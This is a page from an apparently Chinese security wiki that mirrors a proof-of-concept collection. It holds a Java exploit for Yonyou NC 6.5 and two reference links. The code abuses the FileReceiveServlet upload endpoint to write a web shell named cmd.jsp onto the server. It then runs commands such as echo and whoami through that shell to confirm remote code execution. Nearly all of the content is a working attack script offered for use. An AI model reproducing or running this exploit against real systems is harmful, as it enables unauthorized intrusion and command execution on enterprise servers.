menu arrow_back 湛蓝安全空间 |狂野湛蓝,暴躁每天 chevron_right All_wiki chevron_right Some-PoC-oR-ExP-master chevron_right 用友 chevron_right NC6.5.txt
  • home 首页
  • brightness_4 暗黑模式
  • cloud
    xLIYhHS7e34ez7Ma
    cloud
    湛蓝安全
    code
    Github
    NC6.5.txt
    1.23 KB / 2021-07-04 19:32:24
        参考:
    https://nox.qianxin.com/article/25
    https://mp.weixin.qq.com/s/MaOCVYy2cjJ_dMdNrwwiaA
    
    
    exploit.java
    
    package superman.exploit;
    
    import java.io.*;
    import java.util.HashMap;
    import java.util.Map;
    
    public class App {
        public static void main(String[] args) throws Exception {
            String url="http://192.168.40.222";
            Map<String, Object> metaInfo=new HashMap<String, Object>();
            metaInfo.put("TARGET_FILE_PATH","webapps/nc_web");
            metaInfo.put("FILE_NAME","cmd.jsp");
            ByteArrayOutputStream baos=new ByteArrayOutputStream();
            ObjectOutputStream oos=new ObjectOutputStream(baos);
            oos.writeObject(metaInfo);
            InputStream in=App.class.getResourceAsStream("cmd.jsp"); // web shell
            byte[] buf=new byte[1024];
            int len=0;
            while ((len=in.read(buf))!=-1){
                baos.write(buf,0,len);
            }
            HttpClient.post(url+"/servlet/FileReceiveServlet",baos.toByteArray());
            HttpResult result=HttpClient.get(url+"/cmd.jsp?cmd=echo+aaaaaa");
            if(result.getData().contains("aaaaaa")){
                System.out.println("shell路径:"+url+"/cmd.jsp?cmd=whoami");
            }else{
                System.out.println("上传shell失败或者漏洞不存在");
            }
        }
    }
    
    
    links
    file_download